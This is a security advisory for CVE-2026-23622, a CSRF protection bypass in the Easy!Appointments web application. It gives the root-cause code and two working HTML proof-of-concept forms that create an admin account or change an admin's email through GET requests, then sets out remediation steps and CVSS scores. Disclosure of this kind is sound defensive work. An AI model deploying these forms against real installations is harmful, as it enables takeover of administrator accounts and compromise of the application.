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CVE

CVE-2026-23622

alextselegidis/easyappointments is Vulnerable to CSRF Protection Bypass
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CVE

CVE-2026-23622

alextselegidis/easyappointments is Vulnerable to CSRF Protection Bypass

Summary

application/core/EASecurity.php::csrfverify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover

Details

in https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52

  • Repository / tested commit: alextselegidis/easyappointments — commit 41c9b93a5a2c185a914f204412324d8980943fd5.
  • Vulnerable file & function: application/core/EASecurity.php::csrfverify() — around line 52. Link: .../application/core/EA_Security.php#L52.
  • Root cause: The function early-returns when the request is not POST:
// vulnerable snippet
if (strtoupper($_SERVER['REQUEST_METHOD']) !== 'POST') {
    return $this->csrf_set_cookie();
}

Because of this, non-POST requests (GET/PUT/DELETE/etc.) never reach token validation. When application controllers accept state-changing parameters via GET or $_REQUEST, these requests bypass CSRF checks entirely and the application executes the state change.

  • Examples of vulnerable endpoints (observed during testing):
  • index.php/admins/store — create admin (accepts fields via GET)
  • index.php/admins/update — modify admin (accepts fields via GET)
  • index.php/account/save — modify account/password (accepts fields via GET)
  • Why this is critical: An attacker can host a simple page that issues requests (e.g., <form method="GET" action="..."> or an auto-submitting form). If an authenticated admin visits that page, the attacker can create an admin account, change admin email, or change password—enabling account takeover and full compromise of the application instance.

PoC

I will attach video proof showing how I add an admin via CSRF. Below are reproducible PoC artifacts and steps to reproduce locally 

https://github.com/user-attachments/assets/3fea1034-c479-43d9-9c40-86f8ba0b33c1

Browser PoC (HTML)

Save one of the HTML files (example csrfaddadmin_account.html) on an attacker server and visit it with a browser where the admin is logged into Easy!Appointments:

<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/store">
  <input type="hidden" name="admin[first_name]" value="admin_add_by_csrf">
  <input type="hidden" name="admin[last_name]" value="poc">
  <input type="hidden" name="admin[email]" value="poc@gmail.com">
  <input type="hidden" name="admin[mobile_number]" value="">
  <input type="hidden" name="admin[phone_number]" value="0923092">
  <input type="hidden" name="admin[address]" value="">
  <input type="hidden" name="admin[city]" value="">
  <input type="hidden" name="admin[state]" value="">
  <input type="hidden" name="admin[zip_code]" value="">
  <input type="hidden" name="admin[notes]" value="">
  <input type="hidden" name="admin[language]" value="english">
  <input type="hidden" name="admin[timezone]" value="UTC">
  <input type="hidden" name="admin[settings][username]" value="admincsrf1">
  <input type="hidden" name="admin[settings][notifications]" value="1">
  <input type="hidden" name="admin[settings][calendar_view]" value="table">
  <input type="hidden" name="admin[settings][password]" value="changeme">
  <input type="submit" value="Submit request">
</form>
</body>
</html>

another example for another endpoint

csrfchangeadmin_email.html

<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/update">
  <input type="hidden" name="admin[first_name]" value="test">
  <input type="hidden" name="admin[last_name]" value="cve">
  <input type="hidden" name="admin[email]" value="test1@cve.com">
  <input type="hidden" name="admin[mobile_number]" value="">
  <input type="hidden" name="admin[phone_number]" value="0101900">
  <input type="hidden" name="admin[address]" value="">
  <input type="hidden" name="admin[city]" value="">
  <input type="hidden" name="admin[state]" value="">
  <input type="hidden" name="admin[zip_code]" value="">
  <input type="hidden" name="admin[notes]" value="">
  <input type="hidden" name="admin[language]" value="english">
  <input type="hidden" name="admin[timezone]" value="UTC">
  <input type="hidden" name="admin[settings][username]" value="testn">
  <input type="hidden" name="admin[settings][notifications]" value="1">
  <input type="hidden" name="admin[settings][calendar_view]" value="default">
  <input type="hidden" name="admin[id]" value="1">
  <input type="submit" value="Submit request">
</form>
</body>
</html>

Suggested remediation (recommended)

Provide two practical remediation paths mmediate and long-term:

Immediate (urgent, low-effort): Enforce CSRF checks for all  methods  and do not skip validation for non-POST. Minimal core fix:

This closes the common bypass route while keeping read-only GET behavior intact.

Stricter immediate option (no-bypass): Require a valid CSRF token for all methods (including GET) unless the URI is explicitly whitelisted in csrfexcludeuris. This prevents GET-based bypass even if controllers remain unchanged but may require updates to legitimate GET consumers.

Long-term (recommended, correct fix):

  1. Controller hardening: Update controllers so all state-changing actions accept only the proper HTTP method (POST/PUT/DELETE) .
  2. Require re-authentication or confirmation for critical operations (email/password changes).
  3. Set cookie flagsSameSiteSecure, and HttpOnly as appropriate.

Impact

  • Type: Cross-Site Request Forgery (CSRF) allowing account takeover / privilege escalation.
  • Who is impacted: Any deployment of Easy!Appointments using the vulnerable code where administrative or sensitive endpoints accept GET or use $_REQUEST (what i found is almost every endpoint work with GET and POST). Logged-in administrator users are at greatest risk.
  • Consequences: An attacker can create administrative accounts, change administrator emails/passwords (leading to password reset abuse), and fully compromise application instances and data.

Package Versions Affected

Package Version
patch Availability
No items found.

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CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
8.7
-
4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
C
H
U
0
-
C
H
U
-

Related Resources

No items found.

References

https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj, https://nvd.nist.gov/vuln/detail/CVE-2026-23622, https://github.com/alextselegidis/easyappointments, https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52

Severity

8.8

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
8.8
EPSS Probability
0.0001%
EPSS Percentile
0.0094%
Introduced Version
0
Fix Available

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